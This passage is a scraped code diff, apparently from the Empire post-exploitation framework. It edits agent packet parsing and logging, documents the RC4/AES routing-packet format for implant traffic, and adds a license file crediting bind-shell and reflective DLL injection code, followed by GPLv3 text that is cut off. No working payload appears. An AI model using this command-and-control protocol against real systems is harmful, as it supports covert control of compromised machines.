Task ID = links the tasking to results for deconflict on server side
|
Task ID = links the tasking to results for deconflict on server side
|
||||||
|
|
||||||
|
|
||||||
Client *_SAVE packets have the sub format:
|
Client *_SAVE packets have the sub format:
|
||||||
|
|
||||||
|
@ -64,6 +64,7 @@ import base64
|
||||||
import os
|
import os
|
||||||
import hashlib
|
import hashlib
|
||||||
import hmac
|
import hmac
|
||||||
|
import json
|
||||||
from pydispatch import dispatcher
|
from pydispatch import dispatcher
|
||||||
|
|
||||||
# Empire imports
|
# Empire imports
|
||||||
|
@ -108,7 +109,8 @@ PACKET_NAMES = {
|
||||||
"TASK_VIEW_MODULE" : 123,
|
"TASK_VIEW_MODULE" : 123,
|
||||||
"TASK_REMOVE_MODULE" : 124,
|
"TASK_REMOVE_MODULE" : 124,
|
||||||
|
|
||||||
"TASK_SWITCH_LISTENER" : 130
|
"TASK_SWITCH_LISTENER" : 130,
|
||||||
|
"TASK_UPDATE_LISTENERNAME" : 131
|
||||||
}
|
}
|
||||||
|
|
||||||
# build a lookup table for IDS
|
# build a lookup table for IDS
|
||||||
|
@ -201,7 +203,13 @@ def parse_result_packet(packet, offset=0):
|
||||||
remainingData = packet[12+offset+length:]
|
remainingData = packet[12+offset+length:]
|
||||||
return (PACKET_IDS[responseID], totalPacket, packetNum, taskID, length, data, remainingData)
|
return (PACKET_IDS[responseID], totalPacket, packetNum, taskID, length, data, remainingData)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
dispatcher.send("[*] parse_result_packet(): exception: %s" % (e), sender='Packets')
|
message = "[!] parse_result_packet(): exception: {}".format(e)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="empire")
|
||||||
|
|
||||||
return (None, None, None, None, None, None, None)
|
return (None, None, None, None, None, None, None)
|
||||||
|
|
||||||
|
|
||||||
|
@ -241,11 +249,11 @@ def parse_routing_packet(stagingKey, data):
|
||||||
Routing packet format:
|
Routing packet format:
|
||||||
|
|
||||||
+---------+-------------------+--------------------------+
|
+---------+-------------------+--------------------------+
|
||||||
| RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ...
|
| RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ...
|
||||||
+---------+-------------------+--------------------------+
|
+---------+-------------------+--------------------------+
|
||||||
| 4 | 16 | RC4 length |
|
| 4 | 16 | RC4 length |
|
||||||
+---------+-------------------+--------------------------+
|
+---------+-------------------+--------------------------+
|
||||||
|
|
||||||
RC4s(RoutingData):
|
RC4s(RoutingData):
|
||||||
+-----------+------+------+-------+--------+
|
+-----------+------+------+-------+--------+
|
||||||
| SessionID | Lang | Meta | Extra | Length |
|
| SessionID | Lang | Meta | Extra | Length |
|
||||||
|
@ -275,7 +283,12 @@ def parse_routing_packet(stagingKey, data):
|
||||||
# B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long
|
# B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long
|
||||||
(language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:])
|
(language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:])
|
||||||
if length < 0:
|
if length < 0:
|
||||||
dispatcher.send('[*] parse_agent_data(): length in decoded rc4 packet is < 0', sender='Packets')
|
message = "[*] parse_agent_data(): length in decoded rc4 packet is < 0"
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="empire")
|
||||||
encData = None
|
encData = None
|
||||||
else:
|
else:
|
||||||
encData = data[(20+offset):(20+offset+length)]
|
encData = data[(20+offset):(20+offset+length)]
|
||||||
|
@ -292,11 +305,21 @@ def parse_routing_packet(stagingKey, data):
|
||||||
return results
|
return results
|
||||||
|
|
||||||
else:
|
else:
|
||||||
dispatcher.send("[*] parse_agent_data() data length incorrect: %s" % (len(data)), sender='Packets')
|
message = "[*] parse_agent_data() data length incorrect: {}".format(len(data))
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="empire")
|
||||||
return None
|
return None
|
||||||
|
|
||||||
else:
|
else:
|
||||||
dispatcher.send("[*] parse_agent_data() data is None", sender='Packets')
|
message = "[*] parse_agent_data() data is None"
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="empire")
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
@ -309,11 +332,11 @@ def build_routing_packet(stagingKey, sessionID, language, meta="NONE", additiona
|
||||||
|
|
||||||
Routing Packet:
|
Routing Packet:
|
||||||
+---------+-------------------+--------------------------+
|
+---------+-------------------+--------------------------+
|
||||||
| RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ...
|
| RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ...
|
||||||
+---------+-------------------+--------------------------+
|
+---------+-------------------+--------------------------+
|
||||||
| 4 | 16 | RC4 length |
|
| 4 | 16 | RC4 length |
|
||||||
+---------+-------------------+--------------------------+
|
+---------+-------------------+--------------------------+
|
||||||
|
|
||||||
RC4s(RoutingData):
|
RC4s(RoutingData):
|
||||||
+-----------+------+------+-------+--------+
|
+-----------+------+------+-------+--------+
|
||||||
| SessionID | Lang | Meta | Extra | Length |
|
| SessionID | Lang | Meta | Extra | Length |
|
||||||
|
|
|
@ -0,0 +1,727 @@
|
||||||
|
***********************************************************************************************
|
||||||
|
PIC_BindShell primitives and related works are released under the license below.
|
||||||
|
***********************************************************************************************
|
||||||
|
|
||||||
|
Copyright (c) 2013, Matthew Graeber
|
||||||
|
All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||||
|
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||||
|
The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
|
||||||
|
***********************************************************************************************
|
||||||
|
Reflective DLL Injection primitives and related works are released under the license below.
|
||||||
|
***********************************************************************************************
|
||||||
|
|
||||||
|
Copyright (c) 2015, Dan Staples
|
||||||
|
|
||||||
|
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
provided that the following conditions are met:
|
||||||
|
|
||||||
|
* Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
conditions and the following disclaimer.
|
||||||
|
|
||||||
|
* Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
with the distribution.
|
||||||
|
|
||||||
|
* Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
***********************************************************************************************
|
||||||
|
All other works under this project are licensed under GNU GPLv3
|
||||||
|
***********************************************************************************************
|
||||||
|
|
||||||
|
|
||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
Version 3, 29 June 2007
|
||||||
|
|
||||||
|
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
|
||||||
|
Everyone is permitted to copy and distribute verbatim copies
|
||||||
|
of this license document, but changing it is not allowed.
|
||||||
|
|
||||||
|
Preamble
|
||||||
|
|
||||||
|
The GNU General Public License is a free, copyleft license for
|
||||||
|
software and other kinds of works.
|
||||||
|
|
||||||
|
The licenses for most software and other practical works are designed
|
||||||
|
to take away your freedom to share and change the works. By contrast,
|
||||||
|
the GNU General Public License is intended to guarantee your freedom to
|
||||||
|
share and change all versions of a program--to make sure it remains free
|
||||||
|
software for all its users. We, the Free Software Foundation, use the
|
||||||
|
GNU General Public License for most of our software; it applies also to
|
||||||
|
any other work released this way by its authors. You can apply it to
|
||||||
|
your programs, too.
|
||||||
|
|
||||||
|
When we speak of free software, we are referring to freedom, not
|
||||||
|
price. Our General Public Licenses are designed to make sure that you
|
||||||
|
have the freedom to distribute copies of free software (and charge for
|
||||||
|
them if you wish), that you receive source code or can get it if you
|
||||||
|
want it, that you can change the software or use pieces of it in new
|
||||||
|
free programs, and that you know you can do these things.
|
||||||
|
|
||||||
|
To protect your rights, we need to prevent others from denying you
|
||||||
|
these rights or asking you to surrender the rights. Therefore, you have
|
||||||
|
certain responsibilities if you distribute copies of the software, or if
|
||||||
|
you modify it: responsibilities to respect the freedom of others.
|
||||||
|
|
||||||
|
For example, if you distribute copies of such a program, whether
|
||||||
|
gratis or for a fee, you must pass on to the recipients the same
|
||||||
|
freedoms that you received. You must make sure that they, too, receive
|
||||||
|
or can get the source code. And you must show them these terms so they
|
||||||
|
know their rights.
|
||||||
|
|
||||||
|
Developers that use the GNU GPL protect your rights with two steps:
|
||||||
|
(1) assert copyright on the software, and (2) offer you this License
|
||||||
|
giving you legal permission to copy, distribute and/or modify it.
|
||||||
|
|
||||||
|
For the developers' and authors' protection, the GPL clearly explains
|
||||||
|
that there is no warranty for this free software. For both users' and
|
||||||
|
authors' sake, the GPL requires that modified versions be marked as
|
||||||
|
changed, so that their problems will not be attributed erroneously to
|
||||||
|
authors of previous versions.
|
||||||
|
|
||||||
|
Some devices are designed to deny users access to install or run
|
||||||
|
modified versions of the software inside them, although the manufacturer
|
||||||
|
can do so. This is fundamentally incompatible with the aim of
|
||||||
|
protecting users' freedom to change the software. The systematic
|
||||||
|
pattern of such abuse occurs in the area of products for individuals to
|
||||||
|
use, which is precisely where it is most unacceptable. Therefore, we
|
||||||
|
have designed this version of the GPL to prohibit the practice for those
|
||||||
|
products. If such problems arise substantially in other domains, we
|
||||||
|
stand ready to extend this provision to those domains in future versions
|
||||||
|
of the GPL, as needed to protect the freedom of users.
|
||||||
|
|
||||||
|
Finally, every program is threatened constantly by software patents.
|
||||||
|
States should not allow patents to restrict development and use of
|
||||||
|
software on general-purpose computers, but in those that do, we wish to
|
||||||
|
avoid the special danger that patents applied to a free program could
|
||||||
|
make it effectively proprietary. To prevent this, the GPL assures that
|
||||||
|
patents cannot be used to render the program non-free.
|
||||||
|
|
||||||
|
The precise terms and conditions for copying, distribution and
|
||||||
|
modification follow.
|
||||||
|
|
||||||
|
TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
0. Definitions.
|
||||||
|
|
||||||
|
"This License" refers to version 3 of the GNU General Public License.
|
||||||
|
|
||||||
|
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||||
|
works, such as semiconductor masks.
|
||||||
|
|
||||||
|
"The Program" refers to any copyrightable work licensed under this
|
||||||
|
License. Each licensee is addressed as "you". "Licensees" and
|
||||||
|
"recipients" may be individuals or organizations.
|
||||||
|
|
||||||
|
To "modify" a work means to copy from or adapt all or part of the work
|
||||||
|
in a fashion requiring copyright permission, other than the making of an
|
||||||
|
exact copy. The resulting work is called a "modified version" of the
|
||||||
|
earlier work or a work "based on" the earlier work.
|
||||||
|
|
||||||
|
A "covered work" means either the unmodified Program or a work based
|
||||||
|
on the Program.
|
||||||
|
|
||||||
|
To "propagate" a work means to do anything with it that, without
|
||||||
|
permission, would make you directly or secondarily liable for
|
||||||
|
infringement under applicable copyright law, except executing it on a
|
||||||
|
computer or modifying a private copy. Propagation includes copying,
|
||||||
|
distribution (with or without modification), making available to the
|
||||||
|
public, and in some countries other activities as well.
|
||||||
|
|
||||||
|
To "convey" a work means any kind of propagation that enables other
|
||||||
|
parties to make or receive copies. Mere interaction with a user through
|
||||||
|
a computer network, with no transfer of a copy, is not conveying.
|
||||||
|
|
||||||
|
An interactive user interface displays "Appropriate Legal Notices"
|
||||||
|
to the extent that it includes a convenient and prominently visible
|
||||||
|
feature that (1) displays an appropriate copyright notice, and (2)
|
||||||
|
tells the user that there is no warranty for the work (except to the
|
||||||
|
extent that warranties are provided), that licensees may convey the
|
||||||
|
work under this License, and how to view a copy of this License. If
|
||||||
|
the interface presents a list of user commands or options, such as a
|
||||||
|
menu, a prominent item in the list meets this criterion.
|
||||||
|
|
||||||
|
1. Source Code.
|
||||||
|
|
||||||
|
The "source code" for a work means the preferred form of the work
|
||||||
|
for making modifications to it. "Object code" means any non-source
|
||||||
|
form of a work.
|
||||||
|
|
||||||
|
A "Standard Interface" means an interface that either is an official
|
||||||
|
standard defined by a recognized standards body, or, in the case of
|
||||||
|
interfaces specified for a particular programming language, one that
|
||||||
|
is widely used among developers working in that language.
|
||||||
|
|
||||||
|
The "System Libraries" of an executable work include anything, other
|
||||||
|
than the work as a whole, that (a) is included in the normal form of
|
||||||
|
packaging a Major Component, but which is not part of that Major
|
||||||
|
Component, and (b) serves only to enable use of the work with that
|
||||||
|
Major Component, or to implement a Standard Interface for which an
|
||||||
|
implementation is available to the public in source code form. A
|
||||||
|
"Major Component", in this context, means a major essential component
|
||||||
|
(kernel, window system, and so on) of the specific operating system
|
||||||
|
(if any) on which the executable work runs, or a compiler used to
|
||||||
|
produce the work, or an object code interpreter used to run it.
|
||||||
|
|
||||||
|
The "Corresponding Source" for a work in object code form means all
|
||||||
|
the source code needed to generate, install, and (for an executable
|
||||||
|
work) run the object code and to modify the work, including scripts to
|
||||||
|
control those activities. However, it does not include the work's
|
||||||
|
System Libraries, or general-purpose tools or generally available free
|
||||||
|
programs which are used unmodified in performing those activities but
|
||||||
|
which are not part of the work. For example, Corresponding Source
|
||||||
|
includes interface definition files associated with source files for
|
||||||
|
the work, and the source code for shared libraries and dynamically
|
||||||
|
linked subprograms that the work is specifically designed to require,
|
||||||
|
such as by intimate data communication or control flow between those
|
||||||
|
subprograms and other parts of the work.
|
||||||
|
|
||||||
|
The Corresponding Source need not include anything that users
|
||||||
|
can regenerate automatically from other parts of the Corresponding
|
||||||
|
Source.
|
||||||
|
|
||||||
|
The Corresponding Source for a work in source code form is that
|
||||||
|
same work.
|
||||||
|
|
||||||
|
2. Basic Permissions.
|
||||||
|
|
||||||
|
All rights granted under this License are granted for the term of
|
||||||
|
copyright on the Program, and are irrevocable provided the stated
|
||||||
|
conditions are met. This License explicitly affirms your unlimited
|
||||||
|
permission to run the unmodified Program. The output from running a
|
||||||
|
covered work is covered by this License only if the output, given its
|
||||||
|
content, constitutes a covered work. This License acknowledges your
|
||||||
|
rights of fair use or other equivalent, as provided by copyright law.
|
||||||
|
|
||||||
|
You may make, run and propagate covered works that you do not
|
||||||
|
convey, without conditions so long as your license otherwise remains
|
||||||
|
in force. You may convey covered works to others for the sole purpose
|
||||||
|
of having them make modifications exclusively for you, or provide you
|
||||||
|
with facilities for running those works, provided that you comply with
|
||||||
|
the terms of this License in conveying all material for which you do
|
||||||
|
not control copyright. Those thus making or running the covered works
|
||||||
|
for you must do so exclusively on your behalf, under your direction
|
||||||
|
and control, on terms that prohibit them from making any copies of
|
||||||
|
your copyrighted material outside their relationship with you.
|
||||||
|
|
||||||
|
Conveying under any other circumstances is permitted solely under
|
||||||
|
the conditions stated below. Sublicensing is not allowed; section 10
|
||||||
|
makes it unnecessary.
|
||||||
|
|
||||||
|
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||||
|
|
||||||
|
No covered work shall be deemed part of an effective technological
|
||||||
|
measure under any applicable law fulfilling obligations under article
|
||||||
|
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||||
|
similar laws prohibiting or restricting circumvention of such
|
||||||
|
measures.
|
||||||
|
|
||||||
|
When you convey a covered work, you waive any legal power to forbid
|
||||||
|
circumvention of technological measures to the extent such circumvention
|
||||||
|
is effected by exercising rights under this License with respect to
|
||||||
|
the covered work, and you disclaim any intention to limit operation or
|
||||||
|
modification of the work as a means of enforcing, against the work's
|
||||||
|
users, your or third parties' legal rights to forbid circumvention of
|
||||||
|
technological measures.
|
||||||
|
|
||||||
|
4. Conveying Verbatim Copies.
|
||||||
|
|
||||||
|
You may convey verbatim copies of the Program's source code as you
|
||||||
|
receive it, in any medium, provided that you conspicuously and
|
||||||
|
appropriately publish on each copy an appropriate copyright notice;
|
||||||
|
keep intact all notices stating that this License and any
|
||||||
|
non-permissive terms added in accord with section 7 apply to the code;
|
||||||
|
keep intact all notices of the absence of any warranty; and give all
|
||||||
|
recipients a copy of this License along with the Program.
|
||||||
|
|
||||||
|
You may charge any price or no price for each copy that you convey,
|
||||||
|
and you may offer support or warranty protection for a fee.
|
||||||
|
|
||||||
|
5. Conveying Modified Source Versions.
|
||||||
|
|
||||||
|
You may convey a work based on the Program, or the modifications to
|
||||||
|
produce it from the Program, in the form of source code under the
|
||||||
|
terms of section 4, provided that you also meet all of these conditions:
|
||||||
|
|
||||||
|
a) The work must carry prominent notices stating that you modified
|
||||||
|
it, and giving a relevant date.
|
||||||
|
|
||||||
|
b) The work must carry prominent notices stating that it is
|
||||||
|
released under this License and any conditions added under section
|
||||||
|
7. This requirement modifies the requirement in section 4 to
|
||||||
|
"keep intact all notices".
|
||||||
|
|
||||||
|
c) You must license the entire work, as a whole, under this
|
||||||
|
License to anyone who comes into possession of a copy. This
|
||||||
|
License will therefore apply, along with any applicable section 7
|
||||||
|
additional terms, to the whole of the work, and all its parts,
|
||||||
|
regardless of how they are packaged. This License gives no
|
||||||
|
permission to license the work in any other way, but it does not
|
||||||
|
invalidate such permission if you have separately received it.
|
||||||
|
|
||||||
|
d) If the work has interactive user interfaces, each must display
|
||||||
|
Appropriate Legal Notices; however, if the Program has interactive
|
||||||
|
interfaces that do not display Appropriate Legal Notices, your
|
||||||
|
work need not make them do so.
|
||||||
|
|
||||||
|
A compilation of a covered work with other separate and independent
|
||||||
|
works, which are not by their nature extensions of the covered work,
|
||||||
|
and which are not combined with it such as to form a larger program,
|
||||||
|
in or on a volume of a storage or distribution medium, is called an
|
||||||
|
"aggregate" if the compilation and its resulting copyright are not
|
||||||
|
used to limit the access or legal rights of the compilation's users
|
||||||
|
beyond what the individual works permit. Inclusion of a covered work
|
||||||
|
in an aggregate does not cause this License to apply to the other
|
||||||
|
parts of the aggregate.
|
||||||
|
|
||||||
|
6. Conveying Non-Source Forms.
|
||||||
|
|
||||||
|
You may convey a covered work in object code form under the terms
|
||||||
|
of sections 4 and 5, provided that you also convey the
|
||||||
|
machine-readable Corresponding Source under the terms of this License,
|
||||||
|
in one of these ways:
|
||||||
|
|
||||||
|
a) Convey the object code in, or embodied in, a physical product
|
||||||
|
(including a physical distribution medium), accompanied by the
|
||||||
|
Corresponding Source fixed on a durable physical medium
|
||||||
|
customarily used for software interchange.
|
||||||
|
|
||||||
|
b) Convey the object code in, or embodied in, a physical product
|
||||||
|
(including a physical distribution medium), accompanied by a
|
||||||
|
written offer, valid for at least three years and valid for as
|
||||||
|
long as you offer spare parts or customer support for that product
|
||||||
|
model, to give anyone who possesses the object code either (1) a
|
||||||
|
copy of the Corresponding Source for all the software in the
|
||||||
|
product that is covered by this License, on a durable physical
|
||||||
|
medium customarily used for software interchange, for a price no
|
||||||
|
more than your reasonable cost of physically performing this
|
||||||
|
conveying of source, or (2) access to copy the
|
||||||
|
Corresponding Source from a network server at no charge.
|
||||||
|
|
||||||
|
c) Convey individual copies of the object code with a copy of the
|
||||||
|
written offer to provide the Corresponding Source. This
|
||||||
|
alternative is allowed only occasionally and noncommercially, and
|
||||||
|
only if you received the object code with such an offer, in accord
|
||||||
|
with subsection 6b.
|
||||||
|
|
||||||
|
d) Convey the object code by offering access from a designated
|
||||||
|
place (gratis or for a charge), and offer equivalent access to the
|
||||||
|
Corresponding Source in the same way through the same place at no
|
||||||
|
further charge. You need not require recipients to copy the
|
||||||
|
Corresponding Source along with the object code. If the place to
|
||||||
|
copy the object code is a network server, the Corresponding Source
|
||||||
|
may be on a different server (operated by you or a third party)
|
||||||
|
that supports equivalent copying facilities, provided you maintain
|
||||||
|
clear directions next to the object code saying where to find the
|
||||||
|
Corresponding Source. Regardless of what server hosts the
|
||||||
|
Corresponding Source, you remain obligated to ensure that it is
|
||||||
|
available for as long as needed to satisfy these requirements.
|
||||||
|
|
||||||
|
e) Convey the object code using peer-to-peer transmission, provided
|
||||||
|
you inform other peers where the object code and Corresponding
|
||||||
|
Source of the work are being offered to the general public at no
|
||||||
|
charge under subsection 6d.
|
||||||
|
|
||||||
|
A separable portion of the object code, whose source code is excluded
|
||||||
|
from the Corresponding Source as a System Library, need not be
|
||||||
|
included in conveying the object code work.
|
||||||
|
|
||||||
|
A "User Product" is either (1) a "consumer product", which means any
|
||||||
|
tangible personal property which is normally used for personal, family,
|
||||||
|
or household purposes, or (2) anything designed or sold for incorporation
|
||||||
|
into a dwelling. In determining whether a product is a consumer product,
|
||||||
|
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||||
|
product received by a particular user, "normally used" refers to a
|
||||||
|
typical or common use of that class of product, regardless of the status
|
||||||
|
of the particular user or of the way in which the particular user
|
||||||
|
actually uses, or expects or is expected to use, the product. A product
|
||||||
|
is a consumer product regardless of whether the product has substantial
|
||||||
|
commercial, industrial or non-consumer uses, unless such uses represent
|
||||||
|
the only significant mode of use of the product.
|
||||||
|
|
||||||
|
"Installation Information" for a User Product means any methods,
|
||||||
|
procedures, authorization keys, or other information required to install
|
||||||
|
and execute modified versions of a covered work in that User Product from
|
||||||
|
a modified version of its Corresponding Source. The information must
|
||||||
|
suffice to ensure that the continued functioning of the modified object
|
||||||
|
code is in no case prevented or interfered with solely because
|
||||||
|
modification has been made.
|
||||||
|
|
||||||
|
If you convey an object code work under this section in, or with, or
|
||||||
|
specifically for use in, a User Product, and the conveying occurs as
|
||||||
|
part of a transaction in which the right of possession and use of the
|
||||||
|
User Product is transferred to the recipient in perpetuity or for a
|
||||||
|
fixed term (regardless of how the transaction is characterized), the
|
||||||
|
Corresponding Source conveyed under this section must be accompanied
|
||||||
|
by the Installation Information. But this requirement does not apply
|
||||||
|
if neither you nor any third party retains the ability to install
|
||||||
|
modified object code on the User Product (for example, the work has
|
||||||
|
been installed in ROM).
|
||||||
|
|
||||||
|
The requirement to provide Installation Information does not include a
|
||||||
|
requirement to continue to provide support service, warranty, or updates
|
||||||
|
for a work that has been modified or installed by the recipient, or for
|
||||||
|
the User Product in which it has been modified or installed. Access to a
|
||||||
|
network may be denied when the modification itself materially and
|
||||||
|
adversely affects the operation of the network or violates the rules and
|
||||||
|
protocols for communication across the network.
|
||||||
|
|
||||||
|
Corresponding Source conveyed, and Installation Information provided,
|
||||||
|
in accord with this section must be in a format that is publicly
|
||||||
|
documented (and with an implementation available to the public in
|
||||||
|
source code form), and must require no special password or key for
|
||||||
|
unpacking, reading or copying.
|
||||||
|
|
||||||
|
7. Additional Terms.
|
||||||
|
|
||||||
|
"Additional permissions" are terms that supplement the terms of this
|
||||||
|
License by making exceptions from one or more of its conditions.
|
||||||
|
Additional permissions that are applicable to the entire Program shall
|
||||||
|
be treated as though they were included in this License, to the extent
|
||||||
|
that they are valid under applicable law. If additional permissions
|
||||||
|
apply only to part of the Program, that part may be used separately
|
||||||
|
under those permissions, but the entire Program remains governed by
|
||||||
|
this License without regard to the additional permissions.
|
||||||
|
|
||||||
|
When you convey a copy of a covered work, you may at your option
|
||||||
|
remove any additional permissions from that copy, or from any part of
|
||||||
|
it. (Additional permissions may be written to require their own
|
||||||
|
removal in certain cases when you modify the work.) You may place
|
||||||
|
additional permissions on material, added by you to a covered work,
|
||||||
|
for which you have or can give appropriate copyright permission.
|
||||||
|
|
||||||
|
Notwithstanding any other provision of this License, for material you
|
||||||
|
add to a covered work, you may (if authorized by the copyright holders of
|
||||||
|
that material) supplement the terms of this License with terms:
|
||||||
|
|
||||||
|
a) Disclaiming warranty or limiting liability differently from the
|
||||||
|
terms of sections 15 and 16 of this License; or
|
||||||
|
|
||||||
|
b) Requiring preservation of specified reasonable legal notices or
|
||||||
|
author attributions in that material or in the Appropriate Legal
|
||||||
|
Notices displayed by works containing it; or
|
||||||
|
|
||||||
|
c) Prohibiting misrepresentation of the origin of that material, or
|
||||||
|
requiring that modified versions of such material be marked in
|
||||||
|
reasonable ways as different from the original version; or
|
||||||
|
|
||||||
|
d) Limiting the use for publicity purposes of names of licensors or
|
||||||
|
authors of the material; or
|
||||||
|
|
||||||
|
e) Declining to grant rights under trademark law for use of some
|
||||||
|
trade names, trademarks, or service marks; or
|
||||||
|
|
||||||
|
f) Requiring indemnification of licensors and authors of that
|
||||||
|
material by anyone who conveys the material (or modified versions of
|
||||||
|
it) with contractual assumptions of liability to the recipient, for
|
||||||
|
any liability that these contractual assumptions directly impose on
|
||||||
|
those licensors and authors.
|
||||||
|
|
||||||
|
All other non-permissive additional terms are considered "further
|
||||||
|
restrictions" within the meaning of section 10. If the Program as you
|
||||||
|
received it, or any part of it, contains a notice stating that it is
|
||||||
|
governed by this License along with a term that is a further
|
||||||
|
restriction, you may remove that term. If a license document contains
|
||||||
|
a further restriction but permits relicensing or conveying under this
|
||||||
|
License, you may add to a covered work material governed by the terms
|
||||||
|
of that license document, provided that the further restriction does
|
||||||
|
not survive such relicensing or conveying.
|
||||||
|
|
||||||
|
If you add terms to a covered work in accord with this section, you
|
||||||
|
must place, in the relevant source files, a statement of the
|
||||||
|
additional terms that apply to those files, or a notice indicating
|
||||||
|
where to find the applicable terms.
|
||||||
|
|
||||||
|
Additional terms, permissive or non-permissive, may be stated in the
|
||||||
|
form of a separately written license, or stated as exceptions;
|
||||||
|
the above requirements apply either way.
|
||||||
|
|
||||||
|
8. Termination.
|
||||||
|
|
||||||
|
You may not propagate or modify a covered work except as expressly
|
||||||
|
provided under this License. Any attempt otherwise to propagate or
|
||||||
|
modify it is void, and will automatically terminate your rights under
|
||||||
|
this License (including any patent licenses granted under the third
|
||||||
|
paragraph of section 11).
|
||||||
|
|
||||||
|
However, if you cease all violation of this License, then your
|
||||||
|
license from a particular copyright holder is reinstated (a)
|
||||||
|
provisionally, unless and until the copyright holder explicitly and
|
||||||
|
finally terminates your license, and (b) permanently, if the copyright
|
||||||
|
holder fails to notify you of the violation by some reasonable means
|
||||||
|
prior to 60 days after the cessation.
|
||||||
|
|
||||||
|
Moreover, your license from a particular copyright holder is
|
||||||
|
reinstated permanently if the copyright holder notifies you of the
|
||||||
|
violation by some reasonable means, this is the first time you have
|
||||||
|
received notice of violation of this License (for any work) from that
|
||||||
|
copyright holder, and you cure the violation prior to 30 days after
|
||||||
|
your receipt of the notice.
|
||||||
|
|
||||||
|
Termination of your rights under this section does not terminate the
|
||||||
|
licenses of parties who have received copies or rights from you under
|
||||||
|
this License. If your rights have been terminated and not permanently
|
||||||
|
reinstated, you do not qualify to receive new licenses for the same
|
||||||
|
material under section 10.
|
||||||
|
|
||||||
|
9. Acceptance Not Required for Having Copies.
|
||||||
|
|
||||||
|
You are not required to accept this License in order to receive or
|
||||||
|
run a copy of the Program. Ancillary propagation of a covered work
|
||||||
|
occurring solely as a consequence of using peer-to-peer transmission
|
||||||
|
to receive a copy likewise does not require acceptance. However,
|
||||||
|
nothing other than this License grants you permission to propagate or
|
||||||
|
modify any covered work. These actions infringe copyright if you do
|
||||||
|
not accept this License. Therefore, by modifying or propagating a
|
||||||
|
covered work, you indicate your acceptance of this License to do so.
|
||||||
|
|
||||||
|
10. Automatic Licensing of Downstream Recipients.
|
||||||
|
|
||||||
|
